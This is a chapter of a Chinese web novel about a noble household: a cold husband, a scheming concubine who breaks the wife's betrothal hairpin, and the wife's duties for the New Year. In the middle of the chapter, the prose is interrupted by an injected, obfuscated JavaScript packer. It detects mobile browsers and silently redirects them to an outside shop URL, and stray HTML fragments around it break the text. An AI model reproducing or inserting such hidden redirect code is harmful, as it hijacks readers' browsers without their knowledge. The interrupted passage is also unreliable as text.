自然是不愿。
方才还疑她在药膳里下毒,现在又要与她行床第之欢。
她在他心里,究竟算什么?
黎苏唇线抿得发白,眼底最后一丝水光被怒火灼干。她非但没有退缩,反而绷紧手臂,用尽全力想将他推得更远。
萧景城眉头锁紧,眸底掠过一丝愠色。
她腕上那点微不足道的力道被他轻易截住,五指收拢,便将那只作乱的手牢牢钳在掌中。
黎苏另一只手随即挥起,却同样在半途被他精准地一把攥住。
他动作迅捷强势,单手便将她两只手腕一并扣紧,毫不费力地举过她头顶,重重压进绵软的枕头里。
床帐内陡然陷入死寂,只余彼此交错的呼吸,以及窗外大雪落下的簌簌声。
雪光冷冽,透过层层帐帏渗进来,斜斜映上他半边脸庞。
那侧脸像是被覆上了一层白霜,而另半张脸则彻底沉进帐幔深处的黑暗里,晦暗不明。
他定定看着她。
时间在这凝滞的空气里,被拉得很长,很长。
不知过了多久也许只是一瞬,一声极低极沉的冷嗤从他喉间逸出,短促,干涩,没有一丝笑意。
随即,他骤然松开了她,撤身后退,动作带起一阵冷风。
他没有立即走,而是就那样坐在床沿,背对着她。
宽阔的肩线绷得像一张拉满的弓,仿佛在极力压抑着某种即将破体而出的东西。
黑暗中,他的呼吸声清晰可闻,比平日重,也乱。
黎苏收回手,重新蜷进被褥里,背过身去。
她没有看到,在她身后,那坐着的僵直身影,在死寂中又凝固了一息。然后,霍然起身。
中衣系带松垮了,也浑然不觉。
抓起搭在屏风上的外袍,便径直朝门口走去。
房门被他一把拉开,又被一股巨力猛地掼上。
“轰!”
一声沉闷如重物坠地的巨响,砸碎了夜晚的寂静。
窗棂震动,檐上积雪扑簌簌落下。
比声音更先涌入的,是门缝外呼啸而进的,冰刀一般的寒气。
瞬间便将屋内最后一点残留的暖意,扫荡一空。
床榻上,黎苏依旧保持着侧卧的姿势,一动不动。
直到那沉重的脚步声,越来越远,最后彻底消失在院外的风雪声中。
她才缓缓睁开了眼睛。
帐顶是看不清的模糊暗影。
翡翠被这声音惊醒,猛地从值夜的小榻上坐起,尚未驱散的睡意被腊月深夜的寒气一激,瞬间打了个哆嗦。
她来不及拢紧衣襟,趿着鞋便快步走进内室,压低声音试探着唤。
“娘子?”
垂着的帐帏内传来黎苏平静的声音。
“我无事,夜深了,去睡吧。”
翡翠懵懵懂懂地点点头,掩口打了个长长的哈欠,转身拖着困倦的步子往回走。
就在她一只脚将要迈出门槛时,余光倏然瞥见。
院子里覆满白雪的地上,有一串长长的脚印。
方才,是世子爷来过了?
-
次日,雪还在下。
地上的积雪已没过脚踝,放眼望去,天地间只剩一片茫茫的白。连天色都被映得灰白惨淡,分不清界限。
黎苏用过早膳,照例去颐福堂请安。
她去时,长嫂张月如与柳烟娘都已在了。
张月如照例侍立在国公夫人身旁,手里捧着茶盏,正笑语晏晏地说着什么。
柳烟娘则安静地立在下首,身上穿的,正是国公夫人昨日赏的那匹湖蓝色杭绸。
这么冷的天,不过一夜,便将那匹料子赶成了衣裳。
对自己都这么狠。
这种人,以后还是少打交道的为好。
黎苏在心里默默划下一条界线,便移开了目光。
一阵家常后,国公夫人捻着佛珠,目光从黎苏沉静的眉眼间掠过,缓缓开口。
“眼看就是年关了,府里上下,里里外外,都要打点起来。”
“往年这些事,多是月如帮着操持。今年她屋里两个孩子都染了风寒,需要精心照看,脱不开身。苏儿。”
黎苏抬眸,迎上国公夫人的视线。
“你嫁进来三年,性子沉稳,行事也周到。今年的年事采买,一应节礼筹备,就由你总揽吧。也让下头的人认认主子。”
柳烟娘垂着的眼眸闪了闪,袖中手指死死攥紧。
侍立在一旁的嬷嬷应声上前。手上捧着一个托盘,里面是一本蓝皮册子,和一枚乌木镶银的对牌。
那对牌不大,却是可以从库房支取银钱,调度人手的。
张月如脸上惯常的笑容,在听到“总揽”二字时,僵了一瞬。
旋即,又很快笑了起来。
“母亲说的是。弟妹心思细腻,定能办得妥妥帖帖。只是……”
她话锋一转,笑容里掺进些许为难。
“这年关采买,门道最多。同样的货色,价钱能差出两三成,那些老字号掌柜的眼睛都毒得很,最会看人下菜碟。”
“弟妹以前在家中没有做过这等事。”
这是在说黎苏只是个庶女。
“又是初次经手,难免会有疏漏。若有拿不准的,千万要来问我,莫要……平白让人哄了去,失了咱们国公府的体面。”
字字句句,听着是关切提点,内里却满是审视挑剔。
黎苏装作没有听懂。
起身,走到堂中,敛衽行礼,而后才伸出双手,稳稳接过那托盘。
“谢母亲信任。儿媳定当遵照旧例,用心办理,若有不明之处,再向母亲和长嫂请教。”
态度恭谨,无可挑剔。
国公夫人满意地点点头。
“你办事,我是放心的。旧例册子都在这里,一应规格,数目都有定规,你且看着办就是。”
“是。”
-
回到扶疏院,黎苏收了伞,抖落身上的雪,便进屋坐到火炉子旁。将对牌收好,拿起册子细细看起来。
屋内寂静,只偶尔听得见炭盆里爆开“噼啪”一声轻响。
帘子被掀开,翡翠快步进来,面色说不出的古怪。
“娘子,揽月轩那位来了,说是来给您请安。”
黎苏愣了好一会,才想起揽月轩那位指的是谁。
峨眉微蹙:“让她回去吧。”
“就是。也不知她哪来的脸皮,什么名分都没有,就敢大喇喇地跑来正院请安,呸……”
翡翠没忍住啐了一口。
黎苏笑了笑,视线又重新落回到册子上。
没一会儿,门廊外便传来一阵急促杂沓的脚步声,不等通报,厚厚的门帘已被猛地掀开,卷进一股凛冽的雪气。
柳烟娘裹着那身湖蓝色绸衣径直闯了进来,发梢肩头还沾着未化的雪粒。
翡翠紧跟着冲进来,又急又气,脸涨得通红。
“娘子,奴婢实在拦不住她。她……”
“无妨。”
黎苏抬手,止住翡翠的话。
她的目光从账册上抬起,平静地落在这位不速之客身上。
“柳姑娘这般闯进来,可是有什么要事?”
方才在外对着翡翠气势汹汹的柳烟娘,此刻却像是完全换了个人。
她白着一张小脸,怯生生地低下头,手指无措地绞着衣角,声音细若蚊蚋。
“烟娘……是来给夫人赔罪的。”
“昨日……昨日是烟娘自己不当心,吃坏了东西,本也没甚大事。是世子爷……世子爷不放心,定要请大夫来瞧,这才闹得人尽皆知,还惊扰了夫人。”
黎苏捻着账册页脚的指尖,猛地一紧。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274807|198185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“烟娘心里实在过意不去,一夜都没睡好。晨起时,世子爷还特意嘱咐,让烟娘莫要多想,好好将养……”
她这话说得模拟两可,还故意露出恰到好处的羞怯。
晨起时。
所以他昨夜离开后,是去了揽月轩,宿在她那里。
黎苏放在膝上的手,微微向里收了一下,随即又展开,仿佛只是裙裾自然的褶皱。
她目光依旧落在册子上,可那一行字,却忽然间有些模糊,笔画与笔画粘连在一起,看不清了。
“可烟娘想着,总要亲自来向夫人告罪,才能安心。”
柳烟娘终于说完了,依旧维持着那副卑微姿态。
屋内静了片刻。
良久,黎苏才缓缓抬起眼。
她的脸上依旧没什么表情,只是眼瞳深处,像有什么东西极快地寂灭了下去。
“柳姑娘既知是自己不当心,日后谨慎些便是。”
“夫人不怪罪烟娘就好。”
柳烟娘像是长松了口气,脸上绽开一抹羞涩的笑。目光像是不经意地,飘向了临窗的妆台。
妆台上,那支红梅玉簪正静静地躺在打开的锦盒里。
雪光映照下,羊脂白的簪体温润如凝脂,几点红宝雕琢的梅花,栩栩如生。
柳烟娘“呀”了一声,眼中露出恰到好处的惊艳好奇。
“这支玉簪真别致,这红梅像是活的似的。”
她说着,竟往前挪了两步,伸出手去拿。
“柳姑娘。这是世子爷送给我们娘子的定亲信物。岂是你能随便碰的?”翡翠气得捏紧了拳头,她就没见过这么没有分寸的人。
难道她没听出来,娘子已下了逐客令吗?
柳烟娘眸光微闪,手却更快地触到了玉簪。
“是烟娘僭越了……只是从没见过这么精巧的物件……”
她拿起时,指尖似乎因“惶恐”而微微一颤。
“叮——铮!”
清脆的断裂声,在寂静屋内炸响。
玉簪砸在坚硬的青砖地上,断作两截。
簪头那朵最精致的红梅,连着一点白玉,滴溜溜滚出去老远,停在黎苏的裙摆边。
时间,仿佛在这一刻彻底凝固。
柳烟娘捂住嘴,倒吸一口冷气,脸色瞬间惨白如纸,眼泪说掉就掉。
“夫人,烟娘不是故意的。烟娘只是手滑……我,我……”
她慌乱地蹲下身想去捡。
翡翠想也没想,伸手就去推她。
“你分明就是故意的。”
柳烟娘惊呼一声,顺势向后跌倒,额头“恰好”磕在一旁的矮凳角上,顿时红了一片。她伏在地上,瑟瑟发抖,泣不成声。
“对不起,对不起……翡翠姐姐,你打我吧,都是烟娘的错……”
就在这一片混乱哭音中,一个颀长的身影从门口进来。
萧景城显然是匆匆赶来的,玄色大氅上还沾着未化的雪粒。
他踏进门,目光扫过伏地哭泣的柳烟娘,眼中极快地掠过一丝意外,随即眉头微蹙。
“这是怎么回事?”
柳烟娘像是寻到了依靠,抬起泪眼,泣不成声。
“是烟娘的错……是烟娘笨手笨脚,摔碎了夫人的玉簪……都是烟娘的错……”
萧景城没有看地上一眼,目光落在,一言不发的黎苏脸上。
“不过一支玉簪,碎了便碎了。”
“库房里还有别的,明日让管事再送几支新的来便是。”
黎苏眼睫剧烈一颤。
碎了。
原来在他眼里,承载着“缔结婚盟,永以为好”誓言的定亲信物。与库房里任何一件可以随时替换的器物,并无不同。
她缓缓抬起眼,迎上他的目光。
那么,他们这三年的婚姻呢?
是不是也……碎了?